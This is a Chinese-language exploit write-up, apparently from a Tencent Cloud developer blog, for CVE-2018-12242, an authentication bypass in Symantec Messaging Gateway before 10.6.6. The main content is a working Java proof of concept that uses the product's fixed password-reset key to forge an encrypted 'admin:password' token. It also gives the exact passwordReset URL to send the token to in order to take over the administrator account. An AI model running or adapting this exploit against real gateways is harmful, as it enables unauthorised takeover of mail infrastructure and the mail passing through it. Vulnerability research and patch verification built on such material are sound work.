CVE-2018-12242
赛门铁克邮件网关10.6.6之前的所有版本,开启了重置密码功能(默认开启),可以伪造用户身份直接登录前后台。
赛门铁克也是纸老虎,此类邮件网关架构复杂,但是不要发憷,神挡杀神,佛挡杀佛,不少大公司的邮件网关,杀毒软件管理端产品也是普通开发人员编写,做杀毒做软件并不一定是安全的,一定也会有漏洞。这些大型软件漏洞挖掘和POC复现的一般思路从官方下载试用的centos软件包,提取rpm文件,反编译获取文件。
这里是修复之后的代码。可以很容易看出来,关键在于重制密码时的token加密的机制。
通过分析代码发现其使用了com.rsa.jsafe.provider.JsafeJCE,key值是固定的,算法为FIPS186PRNG,所以构造出来算法,输入项为用户名:密码的形式。以下是构造实现加密字符的poc。
package com.symantec.smg.controlcenter.internal.security;
import sun.misc.BASE64Encoder;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.PBEParameterSpec;
import java.security.*;
public class Test {
public static void main(String[] args) {
try {
Provider jceProvider = new com.rsa.jsafe.provider.JsafeJCE();
// Add the JCE Provider class to the current list of providers available on the system.
Security.insertProviderAt (jceProvider, 1);
String encrypt = BrightmailEncrypt.encrypt("admin:gyqhLj1OzbJSQ!");
System.out.println(encrypt);
//System.out.println(BrightmailDecrypt.decrypt(encrypt));
} catch (Exception e) {
e.printStackTrace();
}
}
public static class BrightmailEncrypt {
private static BrightmailEncrypt instance = null;
private Cipher cipher;
private BASE64Encoder encoder;
private String saltString;
private BrightmailEncrypt() throws Exception {
byte[] salt = null;
try {
salt = new byte[8];
SecureRandom random = SecureRandom.getInstance("FIPS186PRNG");
random.nextBytes(salt);
PBEKeySpec keySpec = new PBEKeySpec("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-=".toCharArray());
SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("PBEWithMD5AndDES");
SecretKey key = keyFactory.generateSecret(keySpec);
PBEParameterSpec paramSpec = new PBEParameterSpec(salt, 1000);
this.cipher = Cipher.getInstance("PBEWithMD5AndDES");
this.cipher.init(1, key, paramSpec);
} catch (Exception e) {
throw new Exception(e);
}
this.encoder = new BASE64Encoder();
this.saltString = this.encoder.encode(salt);
}
public static BrightmailEncrypt getInstance() throws Exception {
if (instance == null) {
instance = new BrightmailEncrypt();
}
return instance;
}
public String fastEncrypt(String text) throws Exception {
try {
byte[] ciphertext = this.cipher.doFinal(text.getBytes());
String ciphertextString = this.encoder.encode(ciphertext);
return this.saltString + ciphertextString;
} catch (Exception e) {
throw new Exception(e);
}
}
public static String encrypt(String plaintext) throws Exception {
return (new BrightmailEncrypt()).fastEncrypt(plaintext);
}
public static boolean isEncrypted(String text) {
boolean encrypted = true;
try {
BrightmailDecrypt.decrypt(text);
} catch (Exception e) {
encrypted = false;
}
return encrypted;
}
}
}
通过burpsuite,发送加密之后的用户名+密码(注意url编码)附加到brightmail/action2.do?method=passwordReset&authorization=,即可重置管理员的密码。
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有